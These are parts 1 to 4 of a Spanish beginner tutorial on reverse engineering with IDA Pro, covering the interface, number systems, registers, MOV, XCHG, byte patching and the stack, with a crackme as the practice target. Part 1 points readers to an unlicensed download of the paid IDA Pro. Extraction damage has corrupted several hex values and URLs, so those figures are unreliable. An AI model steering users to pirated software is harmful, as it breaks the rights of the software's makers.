Reversing Con IDA Pro Desde Cero

Descargar como pdf o txt
Descargar como pdf o txt
Está en la página 1de 1062

https://mega.nz/#F!GNBWzQrQ!

RuD9p_PBIMwdqyQKKRooww Archivos de los ejercicios


INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
La idea de esta serie de tutoriales es realizar una actualización de nuestro original curso de
cracking y reversing con OLLYDBG esta vez utilizando IDA PRO aprendiendo a usarlo desde
cero y también trabajar en Windows más actualizados en este caso estoy utilizando Windows
10 Anniversary Update con todos los parches al 29 de octubre de 2016 de 64 bits.

PORQUE IDA PRO?


Porque mientras que OLLYDBG nos limitaba ya que es solo un debugger para 32 bits en user
mode de Windows, IDA PRO es una herramienta completa de reversing que se puede usar
en 32 y 64 bits como desensamblador y como debugger, permite reversing estático lo cual no
se puede realizar con OLLYDBG y además el que lo aprende a usar a pesar de tener una
curva más compleja de apredizaje nos permitirá también trabajar nativamente en Windows,
Linux or Mac OS X y remotamente en los siguientes sistemas operativos.

Para darse una idea de los procesadores soportados aquí la lista :


Como vemos aprender a usar IDA nos permitirá ampliar nuestro universo de trabajo aunque
en esta serie de tutes nos centraremos en Windows 32 y 64 bits en user y a veces kernel
mode el hecho de familiarizarnos con la herramienta nos permitirá adaptarnos fácilmente a
cualquier uso.

La idea de estos tutoriales es empezar desde cero o sea que muchas cosas que vimos en la
introducción a Ollydbg se verá de nuevo aquí pero en IDA tratando de llegar más lejos desde
el mismo inicio.
Si alguien ve que se le complica lo que lee, quizás sea conveniente leer primero la serie de
tutoriales de CRACKING DESDE CERO CON OLLYDBG que son un poco más sencillos.

Por lo tanto aquí habrá de todo reversing estático y dinámico, cracking, exploit, unpacking
trataremos de abarcar lo más posible empezando desde cero.

LO PRIMERO ES LO PRIMERO
Lo primero es obtener el IDA PRO el problema es que es un programa pago y no podríamos
obtenerlo sin pagar unos buenos pesos que lo vale.
No podemos distribuirlo pero buscando en google IDA PRO 6.8 + HEXRAYS que es la
versión que trabajaremos y es la última que esta disponible, podrán bajarlo sin problemas.

Allí vemos los archivos que contiene el zip que bajamos, está el instalador que se llama
idapronw_hexarmw_hexx64w_hexx86w_150413_cb5d8b3937caf856aaae750455d2b4ae y
pide al instalar un password que esta en el archivo install_pass.txt.

También al instalar IDA nos instalará Python 2.7.6. Conviene para no tener problemas usar la
versión de Python incluida en IDA y previo a la instalación de IDA desinstalar otros Python
que haya en la máquina instalados previamente para no conflictuar.
Una vez instalado podemos usarlo por primera vez. y como siempre abriremos como en todo
curso que se precie, el crackme de Cruehead que estará adjuntado junto con el tutorial.

Como es un ejecutable de 32 bits, lo abrimos con la versión de IDA para 32 bits que se
arranca con ese acceso directo.
Si lo corriéramos fuera de IDA vemos en el task manager de Windows que es un proceso de
32 bits, si queremos ver si es de 32 o 64 bits sin correrlo, con un editor hexadecimal como por
ejemplo.

https://mh-nexus.de/en/downloads.php?product=HxD

De ahí se bajan el hxd y lo instalan

http://mh-nexus.de/downloads/HxDSetupES.zip

Esa es la versión en español.

Una forma rápida al abrir un archivo en un editor hexa para saber si es de 32 bits o de 64 a
simple vista es esta.

Este es uno de 64 bits nativo es el Snipping tool incluido en las nuevas versiones de Windows
(Recortes en la versión en español) y vemos que después de la palabra PE tiene

PE..d†

Mientras que el crackme de Cruehead que es de 32 bits después de PE tiene.


PE..L

Así que ya sabemos que lo debemos abrir con la versión de 32 bits de IDA, usando el acceso
directo antes mencionado, cuando nos aparece la ventana de IDA QUICK START elegimos
NEW para abrir un archivo nuevo, buscamos el crackme lo abrimos.

Por ahora dejamos todo así como esta ya que detecta que es un ejecutable PE
correctamente y damos OK.

Si aceptamos con YES el modo PROXIMITY VIEW veremos un pantallazo de un árbol de las
funciones del programa
Para cambiar a modo gráfico o a un listado de instrucciones no gráfico podremos hacerlo
alternando con la barra espaciadora.

También en OPTIONS - GENERAL -LINE PREFIXES podemos agregar las direcciones


delante en la vista de gráficos y en NUMBER OF OPCODE BYTES si cambiamos el 0 que
trae por default, veremos los opcodes o bytes que componen de cada instrucción.

Al abrir un ejecutable lo primero que se abre en el mismo es la vista de desensamblador (lo


que llaman LOADER) y que no ejecuta el programa sólo lo analiza con propósitos de
reversing creando un archivo idb o database.
Para debuggear debemos elegir entre las varias posibilidades de debuggers que incluye IDA
y arrancarlo en modo DEBUGGER lo cual veremos más adelante.
Vemos que muchas opciones del programa se ven como pestañas y al ir al menú VIEW-
OPEN SUBVIEW podremos abrir pestañas según nuestro gusto y necesidad para no tener
abiertas de más.

Una de las posibles confusiones o molestias al usar IDA hasta que uno se acostumbra es que
hay partes del grafo donde hay varias menciones a una misma dirección como por ejemplo en
el inicio de una función la dirección se repite varias veces, eso ocurre porque hay mucha
información de esa dirección y no queda bien en una sola línea o no entra.
Igual cuando ya llegamos a la última vez que se repite la misma direccion, ahí encontramos el
inicio del listado desensamblado en este caso la instrucción correspondiente a 401000 es el
PUSH 0.

IDA tiene la posibilidad de tunear la interface por default separadamente para el LOADER y
para el DEBUGGER.

Una vez que acomodamos por ejemplo en el LOADER las ventanas y pestañas que más
usamos a nuestro gusto yendo a WINDOWS-SAVE DESKTOP y poniendo la tilde en default
guardará la configuración por DEFAULT, lo mismo podremos hacer cuando arranquemos en
modo debugger y cambiar a una configuración por default distinta a la del LOADER.

En cualquiera de las pestañas del IDA donde haya listas como por ejemplo FUNCTIONS,
STRINGS, NAMES etc

Podremos buscar con CTRL mas F se nos abrirá un buscador que filtra según lo que
vayamos tipeando.

En VIEW-OPEN SUBVIEW-STRINGS como en este caso, que me muestre las strings que
contienen “try”.
También si voy a VIEW-OPEN SUBVIEW-DISASSEMBLY puedo abrir una segunda ventana
de desensamblado que puede mostrar una función diferente a la primera y así poder tener
muchas funciones a la vista a la vez.
Tengo también en OPEN SUBVIEW en el LOADER una pestaña de vista hexadecimal o HEX
DUMP.

También en OPEN SUBVIEW puedo mostrar la pestaña de las funciones importadas o


IMPORTS.
También en VIEW se activa GRAPH OVERVIEW qué es un navegador por el gráfico de la
función visible, pudiendo mover y cambiar la parte que se muestra actualmente de la función
en pantalla.

También tenemos pestañas dedicadas para ESTRUCTURAS, EXPORTS, NAMES,


SEGMENTS etc las cuales iremos explicando a medida que las vayamos usando.

La barra de navegación superior muestra con diferentes colores las distintas partes de un
ejecutable.

Justo debajo nos aclara qué significa cada color por ejemplo el gris es la sección data y si
clickeo en la barra en esa parte gris, el gráfico se mueve a dicha sección cuyas direcciones
están en gris. En la imagen vemos que la parte rosada corresponde a externa symbol o la
sección idata y la parte azul son las que detectó como funciones en la sección de código.

Hemos dado un primer pantallazo a vuelo de pájaro en esta parte 1 por supuesto en las
siguientes iremos poco a poco profundizando.

Hasta la parte 2
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 2
Como este es un curso desde cero hay cosas que al inicio muchos ya sabrán, podrán saltearlas si
quieren, pero para la mayoría que no lo saben, será creo yo importante y por eso las agregamos.

SISTEMA NUMERICO

Los tres sistemas numéricos que más se utlizan son el binario el decimal y el hexadecimal.

El concepto básico que deben tener de ellos es el siguiente:

BINARIO: Se representa los números con dos caracteres el 0 y 1 por eso se llama BINARIO.

DECIMAL: Se representa todos los números con 10 caracteres (del 0 al 9) por eso se llama decimal.

HEXADECIMAL: Se representa todos los números con caracteres del 0 al F (del 0 al 9, mas A, B, C, D, E y F, o
sea serian 16 caracteres en total).

Vemos en la IDA en la parte inferior una barra para ejecutar comandos de PYTHON esto nos servirá para
poder pasar de uno a otro fácilmente.

Si no le aparece la barra de Python, desinstalar IDA, desinstalar Python y volver a instalar IDA y el Python
que trae incluido.

Si tpeo por ejemplo 0x4 lo interpreta al tener el 0x delante como un numero hexadecimal, podremos
convertr de hexadecimal a decimal solo apretando ENTER.

Al apretar

Nos da 69 que es 0x4 hexadecimal pasado a decimal.


Si queremos hacer la conversión al revés debemos usar la función hex()

Para pasar a binario usando bin()

El resultado es 1000101 el 0b delante signifca binario, podemos pasar de binario a decimal o a


hexadecimal.

O sea como resumen cualquier numero escrito directamente al apretar ENTER se mostrara el
resultado en decimal, para pasarlo a HEXA o BINARIO deberemos usar las funciones de Python
hex() o bin().

Para manejarnos en la conversión también IDA posee una calculadora integrada para convertr, en VIEW-
CALCULATOR con lo cual podremos ver un número convertdo a todos los sistemas numéricos a la vez,
además de si corresponde el valor a algún carácter ascII, como en este caso 0x4 es la E.
NUMEROS NEGATIVOS en HEXADECIMAL

Ahora en casi todo momento trabajaremos en hexadecimal, pero la pregunta es cómo se representa un
numero hexadecimal negatvo en 32 bits?

Si en un número binario de 32 bits usamos el primer bit para signifcar si es cero que es positvo y si es uno
que es negatvo.

Vemos que un valor como por ejemplo -0x4 en hexadecimal se puede representar como 0x b y que su
primer byte en binario es 1.

De esta forma el mínimo valor positvo obviamente es cero (aunque cero no es positvo ni negatvo jeje)
pero cuál sería el mayor valor positvo que podemos representar?
Vemos que en binario,si llenamos todo con 1 menos el primer bit que usamos para el signo, el 0x7 f es el
máximo positvo si consideramos el signo, además al sumarle uno ya estando todos los otros bits a uno,
deberá cambiar el bit de signo a 1.

Si le sumamos uno

Vemos que el primer bit cambia a 1 y todos los restantes se ponen a cero.

El tema es que este evaluador considera los números como todos positvos al dar el resultado salvo que le
pasemos nosotros el valor negatvo, por ejemplo.
Vemos que el valor mínimo negatvo o sea -1 corresponde a 0xFFFFFFFF y el valor máximo negatvo será
0x80000000.

O sea que cuando en una operación no se considere el signo entonces los valores serán todos positvos
desde 0 hasta 0xFFFFFFFF.

Mientras que si una operación considera el signo tendremos los positvos desde 0x0 a 0x7FFFFFFF y los
negatvos desde 0xFFFFFFFF a 0x80000000.

POSITIVOS

000000000 es igual a 0 decimal

000000001 es igual a 1 decimal

………………………………..

………………………………..

7FFFFFFF es igual a 2147483647 decimal (que sería el máximo positvo)

NEGATIVOS

FFFFFFFF sería el -1 decimal


FFFFFFFE seria el -2 decimal

………………………………

………………………………

80000000 seria -2147483648 decimal (que sería el máximo negatvo)

CARACTERES ASCII

Uno de los temas que debemos conocer también es la forma en que nuestro sistema escribe datos en la
pantalla, para eso asigna a cada carácter un valor hexadecimal, de forma que puede interpretar los mismos
como si fueran letras, números símbolos etc.

Vemos a contnuación en la primera columna el valor decimal, en la segunda columna el valor hexadecimal y
en la tercera el carácter o sea por ejemplo si quiero escribir un espacio, tengo que usar el 0x20 o 32 decimal,
cualquier carácter que necesitemos, sea letra o numero podemos verlo en esta tablita.

Dec. Hex. Caract. Dec. Hex. Caract. Dec. Hex. Caract.


32 20 esp 64 40 @ 96 60 `
33 21 ! 65 41 A 97 61 a
34 22 " 66 42 B 98 62 b
35 23 # 67 43 C 99 63 c
36 24 $ 68 44 D 100 64 d
37 25 % 69 45 E 101 65 e
38 26 & 70 46 F 102 66 f
39 27 ' 71 47 G 103 67 g
40 28 ( 72 48 H 104 68 h
41 29 ) 73 49 I 105 69 i
42 2A * 74 4A J 106 6A j
43 2B + 75 4B K 107 6B k
44 2C , 76 4C L 108 6C l
45 2D - 77 4D M 109 6D m
46 2E . 78 4E N 110 6E n
47 2F / 79 4F O 111 6F o
48 30 0 80 50 P 112 70 p
49 31 1 81 51 Q 113 71 q
50 32 2 82 52 R 114 72 r
51 33 3 83 53 S 115 73 s
52 34 4 84 54 T 116 74 t
53 35 5 85 55 U 117 75 u
54 36 6 86 56 V 118 76 v
55 37 7 87 57 W 119 77 w
56 38 8 88 58 X 120 78 x
57 39 9 89 59 Y 121 79 y
58 3A : 90 5A Z 122 7A z
59 3B ; 91 5B [ 123 7B {
60 3C < 92 5C \ 124 7C |
61 3D = 93 5D ] 125 7D }
62 3E > 94 5E ^ 126 7E ~
63 3F ? 95 5F _ 127 7F 

Como vimos IDA en esa calculadora que evalúa expresiones tene para mostrar los caracteres
correspondientes como vimos en el caso del 0x4 que era el carácter ascII correspondiente a E.

También en la barra de Python usando la función chr() obtenemos el carácter ascII.


En la ventana HEX DUMP también tenemos una columna que muestra los caracteres ascII.

Allí vemos el 4 que se encuentra en la columna de la derecha que corresponde al caracter E.

POSIBILIDADES DE BUSQUEDA

Vemos que en el menú esta SEARCH y si estamos en la pestaña del desensamblado o IDA-VIEW,
allí podemos ver múltples opciones de búsqueda que con muy sencillas de interpretar.

Si cambiamos a la ventana de desensamblado y no aparecen los submenús de SEARCH, deberemos


clickear en alguna instrucción para que se cambie el foco y aparezcan.

Algunas opciones que se ven en la imagen siguiente corresponden a plugins agregados a mi IDA y
no les aparecerán en la versión 6.8 sin tenerlos instalados.
NEXT CODE

Buscará la próxima instrucción que haya sido interpretada como CODIGO, si hay una parte que no es
detectada como código la salteara.

Search completed. Found at 004011A1.


Search completed. Found at 004011A3.
Search completed. Found at 004011A5.
Search completed. Found at 004011AA.
Search completed. Found at 004011AC.
Search completed. Found at 004011AF.
Search completed. Found at 004011B6.

NEXT DATA

Buscará la próxima dirección donde haya detectado data o manejo de datos en cualquier sección.
Como en ese caso detecto un dword (dd) en esa dirección que no corresponde a ninguna
instrucción, obviamente si seguimos buscando buscara la siguiente data en este caso se ve debajo
la sección data si vuelvo a buscar.

Veo que para en una dirección donde a la derecha hay una referencia por lo tanto es un lugar
donde trabajara con datos.

Y así va salteando las direcciones que solo contenen ceros y no hay ninguna referencia, y nos va
mostrando donde hay datos que posiblemente el programa use.

Search completed. Found at 00402004.


Search completed. Found at 00402048.
Así que salteara lo que no está detectado como data usada por el programa y buscara la siguiente.

SEARCH EXPLORED Y UNEXPLORED

En el primero salteara por código o data que detecto y en el segundo por las zonas no detectadas
como código o data valido.

La zona con ceros que están en 0x402000 la halla con SEARCH UNEXPLORED.

Search completed. Found at 00402000.


Search completed. Found at 00402000.
Search completed. Found at 00402001.
Search completed. Found at 00402001.
Search completed. Found at 00402002.
Search completed. Found at 00402003.
Search completed. Found at 00402008

Repitiendo vemos que saltea la data de 0x402004 pues es la considera EXPLORED.

SEARCH INMEDIATE VALUE - SEARCH NEXT INMEDIATE VALUE

Buscará la constante que le escribamos entre las instrucciones y la data.


Si tpeamos FIND ALL OCURRENCES buscara todas y sino buscara una a una, en este caso para
repetr deberé usar SEARCH NEXT INMEDIATE VALUE.

SEARCH TEXT –SEARCH NEXT TEXT

Buscará el texto que le tpeemos inclusive regular expressions si queremos.


Si ponemos buscar solo una necesitaremos SEARCH NEXT TEXT para buscar la siguiente.

SEARCH SEQUENCE OF BYTES

Buscará la secuencia de bytes hexadecimal que tpeemos entre los bytes del ejecutable.
Si hacemos doble click en la primera por ejemplo

Y en las opciones del IDA marcamos 6 para que nos muestre por ejemplo solo 6 bytes como
máximo correspondientes a cada instrucción.
Vemos que encontró los 90 90 que le pedimos.

SEARCH NOT FUNCTION

Busca hasta la siguiente dirección donde encuentra algo no interpretado como función completa.

Search completed. Found at 004013D7.

Allí hay un RET suelto no interpretado como función así que lo halla, a veces hay funciones que IDA
no logro determinar que son funciones pero son código valido.

Esas son las funciones más importantes de búsqueda que trae en el menú el IDA, por supuesto al
tener la posibilidad de manejar scripts de Python, siempre se puede crear mayores posibilidades
con algunas líneas de código.

Vemos que cada búsqueda que realizamos no se perderá pues se abre una pestaña con el
resultado y siempre quedara allí hasta que cerremos la pestaña correspondiente.

Vamos paso a paso sin apurar para que nadie se complique que hay mucho para ver.

Hasta la parte 3

Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 3
EL LOADER

Ya vimos que cuando en IDA abrimos un ejecutable, el mismo se abre en el LOADER que es el
analizador estátco del mismo.

Iremos analizando sus partes y peculiaridades, mucho de lo que hemos visto hasta ahora se
aplican tanto al LOADER como al DEBUGGER, en el caso que no sea así se aclarara.

Obviamente ya el hecho de que en el LOADER no se ejecute absolutamente el programa sino se


analice y se cree una database con la información del mismo hace una diferencia signifcatva con
respecto al DEBUGGER.

En el LOADER no hay ventana de REGISTROS, ventana de STACK ni listado de módulos que están
cargados en memoria esas son cosas que se ven al correr y debuggear el programa.

Habiendo abierto el CRACKME.EXE que es el ejecutable del crackme de Cruehead si miramos en la


lista de procesos de Windows, vemos que no está corriendo ni nunca se ejecuta el mismo si no
abrimos voluntariamente el DEBUGGER en IDA.

Esto para ciertos usos como el análisis de malware, exploit etc es muy útl, porque no siempre
vamos a poder acceder a alguna función que necesitemos estudiar debuggeando, mientras que en
el LOADER podemos analizar cualquiera de las funciones del programa, sepamos cómo se llega a
ella o no.

Por supuesto el análisis de las funciones merece que hablemos un poco antes de los registros y las
instrucciones, para qué sirve cada uno, porque a pesar de no estar debuggeando y no tener una
ventana de los registros con los valores de cada momento, las instrucciones los usan y
necesitamos entenderlas para poder saber qué hace un programa.

Ahora para que sirven y que son exactamente los registros?

Bueno el procesador necesita asistentes en su tarea de ejecutar los programas.

Los registros lo ayudan en ello, cuando veamos las instrucciones ASM veremos por ejemplo que no se
pueden sumar el contenido de dos posiciones de memoria directamente, el procesador tene que pasar una
de ellas a un registro y luego sumarla con la otra posición de memoria, este es un ejemplo pero por supuesto
ciertos registros tenen usos más específcos veamos.

Los registros que se usan en 32 bits son EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI y EIP (al fnal del curso habrá
una parte dedicada a 64 bits).
Registros de propósito múltiples

EAX (acumulador): El acumulador se utiliza para instrucciones tales como la división, la multiplicación
y algunas instrucciones de formato, y como registro de propósito general.

EBX (índice de base): El registro EBX puede direccionar datos de memoria y lógicamente también es
un registro de propósito general.

ECX (cuenta): El ECX es un registro de propósito general que se puede usar como contador para las
distintas instrucciones. También puede contener la dirección de desplazamiento de los datos en
memoria. Las instrucciones que usan un contador son las instrucciones de cadena repetidas, las
instrucciones de desplazamiento, rotación y LOOP/LOOPD.

EDX (datos): es un registro de propósito general que contiene parte del producto de una multiplicación
o parte del dividendo de una división. También puede direccionar datos en memoria.

EBP (apuntador de base): EBP apunta hacia una localidad de memoria, casi siempre como base de la
localización de argumentos y variables en una función, además de ser también de propósito general.

EDI (índice de destino): A menudo, EDI direcciona datos del destino o destination de las cadenas para
las instrucciones de cadena. También funciona como registro de propósito general.

ESI (índice de fuente): El registro del índice fuente o source con frecuencia direcciona datos del origen
de las cadenas para las instrucciones de cadena. Al igual que EDI, ESI también funciona como un
registro de propósito general.

EIP: Índice que apunta a la siguiente instrucción a ejecutar

ESP: Índice que apunta a la parte superior del stack o pila.

Resumiendo lo que dice este tpo al cual copie.

Los ocho registros son el EAX (acumulador), EBX (base), ECX (contador), EDX (datos), ESP
(puntero de pila), EBP (puntero base), ESI (índice fuente) y EDI (índice destino).

También existen los registros de 16 bits y 8 bits, que son partes de los registros anteriores.

Si EAX vale 12345678


AX son las últmas cuatro cifras (16 bits)

AH la 5 y 6 cifra y a su vez AL las últmas dos cifras (8 bits cada uno)

Existe entonces un registro de 16 bits para la parte baja de EAX llamado AX y dos registros de 8
bits llamados AH y AL, no existen registros especiales para la parte alta de cualquier registro.

Existen de la misma forma estos registros también para EBX (BX, BH y BL), para ECX (CX, CH y CL) y
así para casi todos los registros (ESP solo tene SP de 16 bits pero no SL de 8 bits por ejemplo)

Allí se pueden apreciar los registros como EAX EDX ECX y EBX que si tenen subregistros de 16 y 8
bits y EBP, ESI, EDI y ESP que solo tenen subregistros de 16 bits.
Ya iremos viendo los demás registros solo queda como registro auxiliar importante el EFLAGS que
según el valor que tenga enciende ags que tomaran decisiones en ciertos momentos del
programa como veremos más adelante, los segments registers direccionan a diferentes partes del
ejecutable CS=CODE, DS=DATA etc.

Otro detalle importante son los tamaños de los tpos de datos más usados

IDA maneja más tpos de datos que iremos viendo poco a poco para no complicar, lo importante
es saber de movida que BYTE es un 1 byte en la memoria, WORD son 2 bytes y DWORD 4 bytes.

INSTRUCCIONES

IDA trabaja con una sintaxis de instrucciones que no es la más sencilla del mundo ni mucho
menos, la mayoría están acostumbrados al desensamblado del OLLYDBG que es más
sencillo y descafeinado (más fácil de entender jeje), aunque da menos información como
verán.
Instrucciones de Transferencia de Datos

MOV

MOV dest,src: Copia el contenido del operando fuente (src) en el destino (dest).
Operación: dest <- src

Aquí se dan varias posibilidades podemos como primera posibilidad mover el valor de un registro a
otro, por ejemplo.

MOV EAX, EDI

En general se puede mover desde o hacia un registro directamente solo con la salvedad de EIP que
no puede ser DESTINATION ni SOURCE de ninguna operación en forma directa, no podríamos
hacer

MOV EIP, EAX

Eso no es válido.

Otra opción es mover una constante a un registro como por ejemplo

MOV EAX, 1
Otra opción es mover el valor de una dirección de memoria no su contenido (estas instrucciones
que puse en las imágenes pertenecen a otro ejecutable no al CRACKME.exe no había ejemplos de
estas instrucciones en el mismo sino al VEViewer.exe que esta adjunto con este parte 3)

En ese caso cuando el valor que se va a mover es una dirección de memoria, la palabra OFFSET
adelante nos indica que debemos usar la dirección, no su contenido.

O sea esto si apreto Q me lo cambia a

MOV EAX, 46f038

Que es una instrucción mas tpo OLLY pero que no me da ninguna información acerca del
contenido de dicha dirección, si hacemos click derecho en la dirección 46f038 podemos volver a la
instrucción original.
Y quedara como antes

Que me dice esa información extra que me da el IDA sobre dicha dirección de memoria?
Si abro la ventana HEX DUMP y busco dicha dirección veo que inicialmente hay ceros, podría saber
que es un DWORD pero eso realmente no lo sé porque depende de donde usa ese valor el
programa, lo que defne el tpo de variable.

Si vuelvo al listado y hago doble click en la dirección.


Ahí veré porque el IDA me dice que el contenido de dicha dirección es un DWORD, en el listado
desensamblado del IDA cuando vemos zonas de memoria que no son código, como en este caso
perteneciente a la sección data, por supuesto la primera columna son las direcciones.

Justo al lado dice dword_46F038 que quiere decir que el contenido de esa dirección es un DWORD
es como una aclaración de la dirección que está a la izquierda, luego está el tpo de datos dd que
es DWORD y luego el valor que contene dicha posición de memoria que es cero.

O sea IDA me está diciendo que el programa usa esa dirección para guardar un DWORD y más a la
derecha veo la referencia adonde está siendo usado ese DWORD.

Allí hay dos referencias cada echita es una y posando el mouse encima puedo ver el código,
también si apreto la X encima de la dirección veo desde donde es accedida.
La primera es cuando lee la dirección donde estábamos antes, la segunda escribe un DWORD en el
contenido de 0x46F038, por eso el IDA en la primera instrucción nos dijo que esa dirección
apuntaba a un DWORD, porque había otra referencia que accedía a ella y allí escribía un dword y
así todo cierra.

Así que el IDA en la instrucción original no solo me informaba que iba a mover la dirección tal a un
registro, sino que me decía que esa dirección contenía un DWORD, lo cual es un plus.

Así que ahí vemos que cuando se trata de direcciones numéricas, IDA marca la misma como
OFFSET y cuando vamos a buscar el contenido de la misma, como en este caso sería el cero, no usa
corchetes si es una dirección numérica.

Como vimos

mov eax, ofset dword_46F908

Mueve la dirección 0x46F908 a EAX

mov eax, dword_46F908


Mueve el contenido o el valor que se halla en dicha dirección

Esta instrucción se vería en el OLLY con corchetes para los que están acostumbrados al uso del
mismo.

MOV EAX,DWORD PTR DS:[46f908]

O sea que cuando una dirección tene la palabra OFFSET completa delante, se refere al valor
numérico de la dirección en sí, y cuando no lo tene se refere al contenido de dicha dirección.

Esto solo ocurre cuando nos referimos a direcciones numéricas, si trabajamos con registros
solamente.

Ahí si usa corchetes porque obviamente no sabe estátcamente que valor puede tener el registro
en ese momento, y no puede saber a qué dirección apuntara para sacar algo más de información
de allí.

Por supuesto en este caso si EDI apunta a por ejemplo 0x10000 dicha instrucción buscara el
contenido en dicha dirección de memoria y lo copiara en ECX.

Así que es vital entender que cuando IDA usa la palabra OFFSET completa delante de una
dirección, se refera al valor numérico de la misma dirección y no a su contenido hagamos un
ejemplo más.
Allí vemos que mueve a EAX el valor 0x45f4d0 ya que esta la palabra OFFSET completa delante y
me aclara que dicha dirección contene una stru_ o sea una estructura.

En este otro caso, en la primera instrucción marcada mueve el contenido de 0x46fc50 que es un
DWORD y en la de abajo mueve la dirección en si o sea el número 0x46FC50.

Podemos ver qué valor contene dicha dirección para ver que moverá en 0x42f302, si hago click en
0x46fc50 veamos que hay allí.
Vemos que moverá un cero, si es que no se ejecutó alguna otra instrucción que guarde algún valor
allí y lo modifque, como nos muestra las referencias.

Allí vemos al ver las referencias con X, que en esa instrucción guarda un DWORD

Justo en esa instrucción que está marcada en amarillo guarda un DWORD en dicha dirección de
memoria, todos los otros o bien leen la dirección con o set o bien leen el valor como las que no
tenen la palabra o set.

Por supuesto se pueden mover también contantes a los registros de 16 bits y 8 bits que vimos
antes.

Mueve a AL el valor 1 dejando el resto de EAX con el valor que tenía antes solo cambia el byte más
bajo.
Allí mueve a AX, el contenido de la dirección de memoria 0x459c24 que nos dice que es un WORD.

Y vemos que inicialmente es un cero, quizás más adelante al correr el programa se modifque.

Allí mueve AX al contenido de EBX que como es un registro y no sabe cuánto valdrá en ese
momento, no puede aclarar más y usa corchete para indicar que escribe en el contenido de EBX.
Allí igualmente escribirá en el contenido de ESI+8 el valor de AX.

Otro ejemplo

Si hago click en el nombre feo me lleva a

Sabemos que la IAT o sea la tabla que guarda cuando arranca el ejecutable, las direcciones de las
funciones importadas está casi siempre en la sección idata.

Si voy a ver a la vista HEX DUMP esa dirección todavía no tene el valor de la función ya que se
rellena la IAT cuando arranca y el proceso no arranco.
Si voy a OPTIONS-DEMANGLE NAMES y pongo la tlde en NAMES se ve un poco mejor.

El prefjo extrn se refere a que es una función importada EXTERNA a este ejecutable.

Si subimos vemos que nos dice que son funciones importadas de la DVCORE.dll y más arriba hay
más funciones de otras dll.
Bueno hemos visto diferentes ejemplos de MOV que pueden practcar y mirar en el IDA con el
ejecutable que adjunte.

En la parte 4 seguiremos con más instrucciones.

Bye

Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 4
Seguimos ojeando las instrucciones de transferencia de datos en IDA.

XCHG A, B

Intercambia el valor de A con el valor de B, veamos un ejemplo.

Ya que no hay XCHG en el VEVIEWER, cargo el CRACKME.exe de Cruehead y cambiare la


instrucción de 0x4013d8.

Pongo el mouse en esa línea y voy al menú EDIT-PATCH PROGRAM-ASSEMBLE


Vemos que se corrompió la función ya que justo debajo del XCHG quedo una parte que está
marcada como datos.

Ya habíamos visto que si no existe instrucción reconocida, esa zona es mostrada como data. En
este caso es solo un byte que como no hay referencias en ninguna parte del programa, no hay
aclaración a la derecha de la dirección, luego el tpo de dato que es db, un solo byte y el valor que
es 0xc0 en este caso.

Así que si escribimos la instrucción NOP que es NO OPERATION o sea una instrucción de relleno
que no hace nada, para que reemplace ese 0xc0.

Allí queda el NOP

Todo muy lindo pero se me rompió la función. Si hay partes no reconocidas como código en el
medio no la creara, pero ahora que quedo bien el código poniendo el NOP, intentamos haciendo
click derecho en donde era el inicio de la función o sea 0x4013d8 y allí elegimos CREATE
FUNCTION.
Y cambia el prefjo loc_ que delante de una dirección nos aclara que es una instrucción común, por
el prefjo sub_ que nos informa que dicha instrucción es el inicio de una subrutna o función.

Ahora que ya es una función, si no está en modo grafco apretamos la barra espaciadora.
Ahí quedo más lindo y con nuestro XCHG allí puesto.

Bueno ya vimos que por ejemplo si EAX vale 12345678 y ESI vale 55 al ejecutar el XCHG nos
quedara EAX valiendo 55 y ESI 12345678 en este ejemplo.

Como comentario vemos que en el menú PATCH hay un ítem llamado PATCHED BYTES que nos
muestra lo que cambio y se puede REVERTEAR al original.
XCHG también puede intercambiar entre en registro y el contenido de un registro que apunte a
una posición de memoria.

En este caso buscara el contenido apuntado por ESI y lo intercambiara por el valor de EAX que se
guardara en dicha posición de memoria si tene permiso de escritura.

Por ejemplo si EAX vale 55 y ESI vale 0x10000

Se fjara que hay en la posición de memoria 0x10000 y si es escribible, guardara allí el 55 y leerá el
valor que había y lo pondrá en EAX.

Qué pasa si hacemos lo mismo pero en vez de usar un registro usamos una dirección de memoria
numérica tal como hicimos en el MOV?

Como el comando ASSEMBLE no funciona completamente para todas las instrucciones,


deberíamos cambiar los bytes allí en el menú donde dice PATCH BYTES, pero es preferible bajarse
un plugin como el keystone que habilita escribir todas las instrucciones en forma sencilla.

h ps://github.com/keystone-engine/keypatch
h ps://drive.google.com/fle/d/0B13TW0I0f8O2eU1VdUzzVjdYTWs/vie??uspssharing

Allí en el segundo link está el archivo keypatch.py que se debe copiar en la carpeta plugins del IDA
y el instalador keystone-0.9.1-python-?in32.msi que se debe instalar.

Además, se debe tener instalado Microso VC++ runtme library de 32 bits.

h ps://???.microso .com/en-gb/do?nload/details.aspx?ids40784

Aquí si tenen problemas pueden leer los pasos de instalación.

h p://???.keystone-engine.org/keypatch/

Allí eligiendo PATCHER

Vemos que escribiendo la instrucción en la forma más sencilla y con corchetes la escribirá y la
transformara a la sintaxis del IDA.
Y quedo

Tal como en el MOV cuando muestra el prefjo d?ord_ sin o set delante signifca que intercambia
el contenido de 0x4020dc por el valor de EAX .
INSTRUCCIONES ESPECIFICAS DE TRANSFERENCIA RELATIVAS AL STACK O PILA

QUE ES EL STACK o PILA?

Una pila (stack en inglés) es una sección de la memoria en la que el modo de acceso
es último en entrar, primero en salir. Permite almacenar y recuperar datos.
Para el manejo de los datos se cuenta con dos operaciones básicas: apilar o PUSH, que
coloca un objeto en la pila, y su operación inversa, retirar o POP que retira el último elemento
apilado.
En cada momento sólo se tiene acceso a la parte superior de la pila, es decir, al último objeto
apilado. La operación POP permite la obtención de este elemento, que es retirado de la pila
permitiendo el acceso al que estaba debajo (apilado con anterioridad), que pasa a ser el
nuevo ultimo objeto apilado.
En el CRACKME.EXE vemos ejemplos de ambas instrucciones.

Normalmente en 32 bits se usa PUSH para enviar los argumentos de una función al stack, antes de
llamarla con un CALL, vemos allí arriba ese ejemplo en 0x40104f.
PUSH 64 coloca el d?ord 64 en la parte superior del stack, luego PUSH EAX coloca encima del
anterior el valor de EAX dejando debajo al anterior guardado y pasando este últmo a ser el tope
del stack.

ESP  valor de EAX

 0x64

Allí vemos diferentes tpos de PUSH, podemos pushear constantes, pero también podemos
pushear direcciones de memoria, como en este caso.

